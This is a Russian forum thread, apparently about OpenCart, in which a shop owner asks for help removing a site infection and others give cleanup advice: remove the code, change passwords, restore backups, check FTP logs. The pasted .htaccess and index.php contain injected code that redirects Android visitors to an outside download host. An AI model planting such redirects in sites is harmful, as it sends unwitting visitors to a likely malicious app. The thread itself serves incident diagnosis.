Перейти к публикации
Поиск в
  • Дополнительно...
Искать результаты, содержащие...
Искать результаты в...

Вирус на сайте


sasha123S
 Поделиться

Рекомендованные сообщения

Сайт заражен вирусом. Недавно заметил. Хотел перезалить полностью сайт, не получилось. Чот делать? Кто сможет помочь?

Сайт: mi nu tа sh op . r u

Изменено пользователем sasha123S
Ссылка на комментарий
Поделиться на других сайтах


<p>Это .htaccess<br />

RewriteEngine on<br />

RewriteCond %{HTTP_USER_AGENT} "Android" [NC]<br />

RewriteRule ^(.*)$ <a class="bbc_url" href="">http://load-app.org/m/?mobile_version=CleanRu</a> [L,R=302]<br />

<br />

<br />

<br />

Options +FollowSymlinks<br />

Options -Indexes<br />

<br />

Order deny,allow<br />

Deny from all<br />

<br />

<br />

RewriteEngine On<br />

RewriteBase /<br />

RewriteRule ^sitemap.xml$ index.php?route=feed/google_sitemap [L]<br />

RewriteRule ^googlebase.xml$ index.php?route=feed/google_base [L]<br />

RewriteCond %{REQUEST_FILENAME} !-f<br />

RewriteCond %{REQUEST_FILENAME} !-d<br />

RewriteCond %{REQUEST_URI} !.*\.(ico|gif|jpg|jpeg|png|js|css)<br />

RewriteRule ^([^?]*) index.php?_route_=$1 [L,QSA]<br />

<br />

# Редирект c www на без www<br />

RewriteCond %{HTTP_HOST} ^www.minuta-shop.ru<br />

RewriteRule ^(.*)$ http ://m inu ta-sh op .ru /$1 [R=301,L]<br />

# Редирект для главной (с /index.php на /)<br />

RewriteCond %{THE_REQUEST} ^[A-Z]{3,9}\ /index\ HTTP/<br />

RewriteRule ^index\.html$ / [R=301,L]<br />

RewriteCond %{THE_REQUEST} ^[A-Z]{3,9}\ /index\.php\ HTTP/<br />

RewriteRule ^index\.php$ / [R=301,L]

</p>

Ссылка на комментарий
Поделиться на других сайтах


Это index.php

$ua = $_SERVER['HTTP_USER_AGENT'];

if(stripos("***$ua",'android') !== false){
header("Location: http://load-app.org/m/?mobile_version=CleanRu");
die();
}
?>

// Version
define('VERSION', '1.5.4.1');

error_reporting( E_ERROR );



// Configuration
require_once('config.php');

// Install
if (!defined('DIR_APPLICATION')) {
header('Location: install/index.php');
exit;
}

// VirtualQMOD
require_once('./vqmod/vqmod.php');
$vqmod = new VQMod();

// VQMODDED Startup
require_once($vqmod->modCheck(DIR_SYSTEM . 'startup.php'));

// Application Classes
require_once($vqmod->modCheck(DIR_SYSTEM . 'library/customer.php'));
require_once($vqmod->modCheck(DIR_SYSTEM . 'library/affiliate.php'));
require_once($vqmod->modCheck(DIR_SYSTEM . 'library/currency.php'));
require_once($vqmod->modCheck(DIR_SYSTEM . 'library/tax.php'));
require_once($vqmod->modCheck(DIR_SYSTEM . 'library/weight.php'));
require_once($vqmod->modCheck(DIR_SYSTEM . 'library/length.php'));
require_once($vqmod->modCheck(DIR_SYSTEM . 'library/cart.php'));

// Registry
$registry = new Registry();

// Loader
$loader = new Loader($registry);
$registry->set('load', $loader);

// Config
$config = new Config();
$registry->set('config', $config);

// Database
$db = new DB(DB_DRIVER, DB_HOSTNAME, DB_USERNAME, DB_PASSWORD, DB_DATABASE);
$registry->set('db', $db);

// Store
if (isset($_SERVER['HTTPS']) && (($_SERVER['HTTPS'] == 'on') || ($_SERVER['HTTPS'] == '1'))) {
$store_query = $db->query("SELECT * FROM " . DB_PREFIX . "store WHERE REPLACE(`ssl`, 'www.', '') = '" . $db->escape('https://' . str_replace('www.', '', $_SERVER['HTTP_HOST']) . rtrim(dirname($_SERVER['PHP_SELF']), '/.\\') . '/') . "'");
} else {
$store_query = $db->query("SELECT * FROM " . DB_PREFIX . "store WHERE REPLACE(`url`, 'www.', '') = '" . $db->escape('http://' . str_replace('www.', '', $_SERVER['HTTP_HOST']) . rtrim(dirname($_SERVER['PHP_SELF']), '/.\\') . '/') . "'");
}


if ($store_query->num_rows) {
$config->set('config_store_id', $store_query->row['store_id']);
} else {
$config->set('config_store_id', 0);
}

// Settings
$query = $db->query("SELECT * FROM " . DB_PREFIX . "setting WHERE store_id = '0' OR store_id = '" . (int)$config->get('config_store_id') . "' ORDER BY store_id ASC");

foreach ($query->rows as $setting) {
if (!$setting['serialized']) {
$config->set($setting['key'], $setting['value']);
} else {
$config->set($setting['key'], unserialize($setting['value']));
}
}

if (!$store_query->num_rows) {
$config->set('config_url', HTTP_SERVER);
$config->set('config_ssl', HTTPS_SERVER);
}

// Url
$url = new Url($config->get('config_url'), $config->get('config_use_ssl') ? $config->get('config_ssl') : $config->get('config_url'));
$registry->set('url', $url);

// Log
$log = new Log($config->get('config_error_filename'));
$registry->set('log', $log);

function error_handler($errno, $errstr, $errfile, $errline) {
global $log, $config;

switch ($errno) {
case E_NOTICE:
case E_USER_NOTICE:
$error = 'Notice';
break;
case E_WARNING:
case E_USER_WARNING:
$error = 'Warning';
break;
case E_ERROR:
case E_USER_ERROR:
$error = 'Fatal Error';
break;
default:
$error = 'Unknown';
break;
}

if ($config->get('config_error_display')) {
echo '' . $error . ': ' . $errstr . ' in ' . $errfile . ' on line ' . $errline . '';
}

if ($config->get('config_error_log')) {
$log->write('PHP ' . $error . ': ' . $errstr . ' in ' . $errfile . ' on line ' . $errline);
}

return true;
}

// Error Handler
set_error_handler('error_handler');

// Request
$request = new Request();
$registry->set('request', $request);

// Response
$response = new Response();
$response->addHeader('Content-Type: text/html; charset=utf-8');
$response->setCompression($config->get('config_compression'));
$registry->set('response', $response);

// Cache
$cache = new Cache();
$registry->set('cache', $cache);

// Session
$session = new Session();
$registry->set('session', $session);

// Language Detection
$languages = array();

$query = $db->query("SELECT * FROM " . DB_PREFIX . "language WHERE status = '1'");

foreach ($query->rows as $result) {
$languages[$result['code']] = $result;
}

$detect = '';

if (isset($request->server['HTTP_ACCEPT_LANGUAGE']) && ($request->server['HTTP_ACCEPT_LANGUAGE'])) {
$browser_languages = explode(',', $request->server['HTTP_ACCEPT_LANGUAGE']);

foreach ($browser_languages as $browser_language) {
foreach ($languages as $key => $value) {
if ($value['status']) {
$locale = explode(',', $value['locale']);

if (in_array($browser_language, $locale)) {
$detect = $key;
}
}
}
}
}

if (isset($session->data['language']) && array_key_exists($session->data['language'], $languages) && $languages[$session->data['language']]['status']) {
$code = $session->data['language'];
} elseif (isset($request->cookie['language']) && array_key_exists($request->cookie['language'], $languages) && $languages[$request->cookie['language']]['status']) {
$code = $request->cookie['language'];
} elseif ($detect) {
$code = $detect;
} else {
$code = $config->get('config_language');
}

if (!isset($session->data['language']) || $session->data['language'] != $code) {
$session->data['language'] = $code;
}

if (!isset($request->cookie['language']) || $request->cookie['language'] != $code) {
setcookie('language', $code, time() + 60 * 60 * 24 * 30, '/', $request->server['HTTP_HOST']);
}

$config->set('config_language_id', $languages[$code]['language_id']);
$config->set('config_language', $languages[$code]['code']);

// Language
$language = new Language($languages[$code]['directory']);
$language->load($languages[$code]['filename']);
$registry->set('language', $language);

// Document
$registry->set('document', new Document());

// Customer
$registry->set('customer', new Customer($registry));

// Affiliate
$registry->set('affiliate', new Affiliate($registry));

if (isset($request->get['tracking']) && !isset($request->cookie['tracking'])) {
setcookie('tracking', $request->get['tracking'], time() + 3600 * 24 * 1000, '/');
}

// Currency
$registry->set('currency', new Currency($registry));

// Tax
$registry->set('tax', new Tax($registry));

// Weight
$registry->set('weight', new Weight($registry));

// Length
$registry->set('length', new Length($registry));

// Cart
$registry->set('cart', new Cart($registry));

// Encryption
$registry->set('encryption', new Encryption($config->get('config_encryption')));

// Front Controller
$controller = new Front($registry);

// Maintenance Mode
$controller->addPreAction(new Action('common/maintenance'));

// SEO URL's
if (!$seo_type = $config->get('config_seo_url_type')) {
$seo_type = 'seo_url';
}
$controller->addPreAction(new Action('common/' . $seo_type));

// Router
if (isset($request->get['route'])) {
$action = new Action($request->get['route']);
} else {
$action = new Action('common/home');
}

// Dispatch
$controller->dispatch($action, new Action('error/not_found'));

// Output
$response->output();
?>

Ссылка на комментарий
Поделиться на других сайтах


В .htaccess перед Options +FollowSymlinks удалить весь код

В index.php удалить код до // Version

 

и читайте здесь

Ссылка на комментарий
Поделиться на других сайтах

В .htaccess перед Options +FollowSymlinks удалить весь код

В index.php удалить код до // Version

 

и читайте здесь

Уже делал, все равно файлы эти добавляются. Сам не программист, сложно по логам сайта и FTP найти первоисточник. Может возьметесь помочь устранить эту проблему?

Ссылка на комментарий
Поделиться на других сайтах


Меняйте пароли на ftp, админку опенкарта и БД. В панели управления сайтом выставите в настройках по FTP доплнительное ограничение по своему/своим ip

 

После всех изменений паролей восстанавливайте сайт из бэкапа, если такая услуга есть у вашего хостера.

Либо через Total Commander сравнивайте файлы с сервера со своим бэкапом (он ведь есть, да? :ugeek: ) и все файлы с изменениями на сервере заменяйте файлами из бэкапа.

 

По логам FTP найти источник не сложно - открываете лог и смотрите на ip, отличные от вашего. Как найдете - смотрите что делалось под этими ip с папками/файлами

Ссылка на комментарий
Поделиться на других сайтах

Меняйте пароли на ftp, админку опенкарта и БД. В панели управления сайтом выставите в настройках по FTP доплнительное ограничение по своему/своим ip

 

После всех изменений паролей восстанавливайте сайт из бэкапа, если такая услуга есть у вашего хостера.

Либо через Total Commander сравнивайте файлы с сервера со своим бэкапом (он ведь есть, да? :ugeek: ) и все файлы с изменениями на сервере заменяйте файлами из бэкапа.

 

По логам FTP найти источник не сложно - открываете лог и смотрите на ip, отличные от вашего. Как найдете - смотрите что делалось под этими ip с папками/файлами

Уже старался этим заниматься. Но ничего не получается. 

Пароли все поменял. Из backup восстановил сайт, но вирус все равно сидит на сайте. Видимо внедрили его раньше, чем был сделан последний backup. Нужен профессионал. Самому не получается решить проблему

Ссылка на комментарий
Поделиться на других сайтах


Если хостинг нормальный - у них как правило не один бэкап хранится, пробуйте более раннюю версию восстановить.

Либо непосредственно хостеру объясните проблему, попросите помочь с чисткой/восстановлением.

Ссылка на комментарий
Поделиться на других сайтах

Если хостинг нормальный - у них как правило не один бэкап хранится, пробуйте более раннюю версию восстановить.

Либо непосредственно хостеру объясните проблему, попросите помочь с чисткой/восстановлением.

Хостер ответил, что у них нет других backup ов. Хостер ответил, что он таким делом не занимается. Нужно искать специалиста на стороне

Ссылка на комментарий
Поделиться на других сайтах


Скорее всего вирус в /system/library/response.php

 

Замените на оригинал

Ссылка на комментарий
Поделиться на других сайтах

еще бы, при  таком количестве полезных и бесполезных модулей, активно конфликтующих между собой,

сам долго дрюкался пока дамп поставил

 

sasha123S

а ко мне за бэкапом религия не позволяет обратиться?

 

Вирус был не в /system/library/response.php Pascha, спасибо за помощь. Написал, что пришлось вручную чистить и искать причину заражения. 

Ссылка на комментарий
Поделиться на других сайтах


  • 1 месяц спустя...

Хостер ответил, что у них нет других backup ов. Хостер ответил, что он таким делом не занимается. Нужно искать специалиста на стороне

Добрый хостер какой то, если так наплевательски относится как к клиентам, так и к своей репутации, ведь зараженные сайты в его ведомстве ему кармы не прибавят... Меняйте по возможности. И желательно со встроенным антивирусом каким нибудь в админ-панели.

 

И поищите дыры на сайте, устранив следствие, Вы не устранили причину. Очень быстро эта зараза может появиться вновь.

 

P.S. И да, эталонные копии и бэкапы рулят ;)

Ссылка на комментарий
Поделиться на других сайтах


Создайте аккаунт или войдите в него для комментирования

Вы должны быть пользователем, чтобы оставить комментарий

Создать аккаунт

Зарегистрируйтесь для получения аккаунта. Это просто!

Зарегистрировать аккаунт

Войти

Уже зарегистрированы? Войдите здесь.

Войти сейчас
 Поделиться

×
×
  • Создать...

Важная информация

На нашем сайте используются файлы cookie и происходит обработка некоторых персональных данных пользователей, чтобы улучшить пользовательский интерфейс. Чтобы узнать для чего и какие персональные данные мы обрабатываем перейдите по ссылке. Если Вы нажмете «Я даю согласие», это означает, что Вы понимаете и принимаете все условия, указанные в этом Уведомлении о Конфиденциальности.